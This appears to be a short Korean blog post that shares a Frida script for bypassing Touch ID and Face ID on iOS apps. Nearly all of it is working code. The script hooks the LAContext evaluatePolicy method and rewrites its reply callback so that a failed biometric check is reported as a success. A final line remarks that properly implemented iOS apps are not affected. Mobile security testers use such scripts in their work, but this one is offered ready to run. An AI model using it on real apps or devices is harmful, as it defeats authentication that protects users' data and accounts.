[FRIDA] TouchID / FaceID Bypass
Touch ID / Face ID 인증 우회 스크립트입니다 :)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | var objc = new ApiResolver('objc'); var reply = {}; console.warn("\n[!] Enjoy the hook! - Juice :)"); objc.enumerateMatches('-[LAContext evaluatePolicy:localizedReason:reply:]', { onMatch: function (match) { reply.name = match.name; console.log("[*] reply.name : " + match.name); reply.address = match.address; console.log("[*] reply.address : " + match.address); }, onComplete: function () { } }); if (reply.address) { console.log("[+] TouchID Hooked Success!"); Interceptor.attach(reply.address, { onEnter: function (args) { console.log("\n"); var reason = new ObjC.Object(args[3]); console.log("\t[*] TouchID Popup Message: " + reason.toString()); var originBlock = new ObjC.Block(args[4]); var callbackBlock = originBlock.implementation; originBlock.implementation = function (success, error) { if (!success) { success = true; } console.error("[*] TouchID/FaceID Bypass Success!"); callbackBlock(success, error); }; } }); } | cs |
iOS도 제대로 구현된 앱에선 안됩니당~